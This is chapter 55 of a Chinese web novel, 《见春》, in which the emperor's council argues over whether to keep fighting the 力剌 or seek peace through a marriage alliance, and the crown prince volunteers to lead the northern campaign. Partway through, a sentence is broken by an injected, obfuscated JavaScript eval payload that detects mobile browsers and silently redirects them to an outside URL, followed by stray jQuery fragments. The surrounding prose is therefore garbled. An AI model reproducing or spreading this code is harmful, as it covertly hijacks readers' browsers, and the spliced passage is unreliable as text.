55. 出征

作品:《见春

    两个月后,力剌进犯辽北。


    因靖国公景皑与世子景思安滞留京城,辽北无人指挥应战,靖公军节节败退。并且力剌此次势头强劲,一改往日进攻思路,直指靖公军藏在北阴山的粮马道,切断了靖公军的补给线,重创辽北。


    皇帝的书房内,灯火通明。


    萧沃、萧回、温如璋、海益、以及新进内阁的吏部尚书郑珀、兵部尚书孔塬围在皇帝身旁,景皑、景思安父子跪在殿内,垂着头一言不发。


    “十日之内,连失两城,力剌人屠城,死伤百姓七万人。”皇帝摩挲着玉扳指,斜眼睥睨景皑父子,“好啊,干得漂亮。”


    景思安身体微颤,刚想争辩就被景皑拉到了自己身后,景皑磕了个响头,恳切道:“陛下,臣知罪。”


    “朕不过是让你多在京中留了几日,辽北就败了。”皇帝倒吸一口凉气,“你是想告诉朕,辽北没你景皑,就不行了吗?十万靖公军,没你一个,就打不了仗了,对吗?”


    景皑道:“是臣没能安排好。”


    “陛下,军不可一日无主帅。”萧沃眉头紧蹙,“现在不是算账的时候,应该尽快命靖国公父子北上,及时止损。”


    景皑说:“臣愿戴罪立功!”


    皇帝不语,端起茶杯抿了一口。


    景皑继续说:“从京城到辽北,快马只需三日。臣请即刻北上,亲率八千精骑,七日内夺回北阴山粮马道!”


    皇帝的拇指不停擦过茶杯边缘,盯着沙盘眉头紧皱。


    萧沃看一眼景皑,对皇帝说:“陛下,此刻晚一时发兵,辽北就有无数百姓枉死。不可再迟了。”


    皇帝眼皮低垂如老僧入定,只有摩擦茶盏边缘的手在缓缓移动。


    景皑知道,这是皇帝在给自己机会,他继续说:“北阴山为东南-西北走向,这七日内,臣会集中火力猛攻粮马道东部,而南北有山阻挡,力剌人必定会退至西北野狼谷。臣会让景思安经由鹰州小渡口,携一千人到此埋伏,从而切断力剌人的退路。”


    景思安补充道:“陛下,父亲说得有理。力剌人不清楚辽北地形,他们不知,天辽江支流会在鹰州向东北拐弯,四年前,父亲建了小渡口,我们恰好可以在此绕到敌后。臣与父亲南北夹击力剌人,恰好可成‘围三缺一’之势,诱敌入瓮。”


    皇帝看向景皑父子,喉头滚动。


    景皑道:“辽北三十万百姓……不能成为力剌人的刀下亡魂。臣恳请陛下给臣一个赎罪的机会!”


    景皑与景思安重重地磕了一个响头。


    皇帝看向身后的萧沃:“太子,你怎么看?”


    萧沃也跪下,求道:“臣愿为监军,随靖国公北上。”


    “七日内,臣若夺不回粮马道,臣便听凭太子殿下处置——以死谢罪!”景皑与景思安磕头。


    烛心“噼啪”作响,皇帝的瞳仁骤然紧缩,把茶盏使劲磕在沙盘边缘,道:“好一个军令状!”


    萧回不咸不淡地来了一句:“粮道已毁,夺回残骸何用?靖公军吃了这么大一场败仗,父皇,若还把兵权交予景家,辽北七万冤魂该如何瞑目?剩下的辽北遗民,何时才能等到战事平息?”


    “临阵换将是为大忌!”如今的内阁首辅温如璋说,“靖国公驻守辽北二十年,靖公军上下一心,此刻再调其他武将去辽北,那才是把辽北百姓架在火上烤!”


    “上下一心?”萧回饶有兴致地说,“温阁老的意思,是靖公军只效忠靖国公一人了?这辽北,是姓景,还是姓萧?!”


    温如璋怒道:“你——诛心之论!此时挑拨离间,屹王殿下,你意欲何为!”


    “本王只是想提醒靖国公,靖公军不是你景家的府兵。”萧回看了一眼身旁的萧沃,讥诮地勾了勾唇角,“你能夺回粮马道还则罢了,若输了呢?杀光你们景家人,辽北死的百姓,就能活过来吗?丢的城池土地,就能拿回来吗?!别拉着整个朝廷陪你们赌!”


    温如璋气得直跺脚:“殿下,您也是武将,很多兵家大忌都不用旁人来说!若力剌进犯的是西北,老臣不信您还能说出这种话!”


    萧回说:“事实是力剌选择的是辽北,潼裕安然无恙!温阁老,说那没味的话有意思吗?”


    温如璋对皇帝说:“昔年李牧守赵,君臣相疑而邯郸沦丧!陛下,切以史为鉴,万不可重蹈覆辙!”


    “够了!”皇帝瞪了一眼温如璋,“吵了那么久,吵出个办法来了吗?!”


    萧回对皇帝说:“依儿臣看,辽北一败涂地,已经错失突围良机。即便让靖国公北上,也来不及了。”


    皇帝问:“那该当如何?”


    “议和。”萧回肃声道,“死了那么多人,百姓已然承受不住新一轮战事。粮马道已毁,靖公军苦战,又能战到何时?北方夏短,兵士挨得过冬天吗?百姓又挨得过冬天吗?我们何不与力剌议和?”


    温如璋急忙回道:“不打了?!我朝养了那么多兵,死了那么多百姓,不打了?”


    “是暂时议和,又不是一直不打了!”萧回怼道,“先把这段时间挺过去,养精蓄锐!等新的粮马道建好了,再谈开战又不迟!”


    海益说:“旧的粮马道已然暴露,不可再用。重建一条新粮道,从选址到建成,要一年时间。”


    萧回说道:“父皇,力剌王庭内斗已久,虽然力剌可汗主战,但其叔父左贤王一向主张与我朝议和。和约一旦敲定,至少能休战五年!这段时间,足够我们加固边防,何乐而不为?”


    皇帝眯起了眼睛。


    萧沃反问萧回:“屹王可知力剌要价?前朝王庭与蛮夷议和,今日割五城,明日丢十城,终至国将不国!如今我们还要议和,力剌提什么要求都答应,底线在哪,退路又在哪?”


    “跪着求来的和平……”温如璋反问萧回,“力剌那种野蛮人,难道会遵守和约?”


    萧回:“这是议和,不是求和,一切都好商量!”


    萧沃失望地说:“求和、议和,不过一字之差,有何分别?”


    “议和……”皇帝看向萧回,轻声说“力剌人虽反复无常,但只要能坚持到辽北粮马道重新建成……倒也——”


    “陛下,臣也觉得,此时议和,胜过顽抗。”孔塬说,“辽北兵败,士气不振,确实不宜开战。此刻议和,还能与力剌谈条件,若再晚几天,辽北败得无回天之力,那我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16551259|183179||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    们便真成了俎上鱼肉——任人宰割。”


    景皑以膝盖为足,挪向皇帝:“陛下……求您再给臣一次机会……以退求和,不可啊!”


    皇帝假装没听到景皑说话似的。


    萧回颇为得意地瞥一眼萧沃:“儿臣以为,此时应派出嫡公主和亲,彰显我朝和亲决心,定能与力剌结为秦晋之好。儿臣愿为使臣,与力剌商讨停战事宜。”


    景思安声音沙哑:“陛下,不可!这是资敌啊!”


    皇帝拂袖打落茶盏,碎瓷片落在了萧沃膝盖边缘。


    皇帝指着景皑的鼻子:“你这好儿子,是嫌辽北的血流得不够多吗?”


    “和亲如果有用,前朝给蛮夷送了十多位公主,为何还落个亡国的结局?”萧沃泄了口气,“泊舟,陛下膝下仅有一位昌宁公主,她是你的胞妹,你竟忍心让她去跟蛮夷和亲!”


    萧回抬高了声音:“为了大燕百姓,我别无选择!”


    “以退为和,前朝因此灭亡,我们还要重蹈覆辙吗?”萧沃咬牙道,“陛下,靠一个女人,靠一桩婚姻,换两国和平——世上没这么便宜的事。唯有筑国防,唯有以战止战,两国才有和平可谈!”


    温如璋跪下,说:“陛下!户部尚可支撑辽北战事!”


    皇帝再次沉默。


    萧回说:“太子殿下——还要臣说多少遍,和亲只是权宜之计,又不是永远不打了……”


    “一步退,结果就是步步退。”萧沃直接打断了萧回,义正言辞,“只有一步不退,才可让蛮夷正视大燕,此战方有转机。”


    萧回冷笑。


    萧沃知道,皇帝迟迟不肯让景皑景思安离京北上,是为忌惮。景皑驻守辽北二十年,没打过一场败仗,辽北人识景不识萧,逐渐与上京离心。


    皇帝倾向于萧回孔塬等“主和派”,实际也是想借和亲,削弱景家势力、逐渐收回辽北兵权。


    但大燕不能退。这场仗,必须要打下去。


    不仅是为了一时的和平,更是为了大燕千秋万代的和平,他们半步都不能退。


    “陛下,辽北战败,靖国公难辞其咎。”萧沃深吸一口气,“臣以为,靖国公景皑,不宜再为靖公军主帅。”


    皇帝一听,直接站了起来。景皑、景思安大惊失色。


    温如璋小声道:“太子殿下……”


    “即日起,靖国公当交出兵符,闭府思过。”萧沃肃声道,“然为大燕江山稳固,辽北不可停战。臣愿为君出征,驻守辽北,不破……不还。”


    温如璋急道:“太子殿下,您为储君,怎可——”


    “臣为储君,当为君父、为百姓守国门。”萧沃叩头,“臣望陛下恩准。”


    皇帝愣了片刻,竟笑了出来。


    由萧沃当这个主帅,确是再好不过了。


    靖公军唯景家马首是瞻,而萧沃身上有一半景家的血脉,必定会对萧沃俯首称臣。


    当然,萧沃又是储君,这场仗若赢了,就能将景家兵权尽数收回。若输了,抑或他战死沙场,刚好可以易储。


    “太子大义,不愧吾儿。”皇帝笑道,“准了!”


    萧沃叩头:“谢陛下!”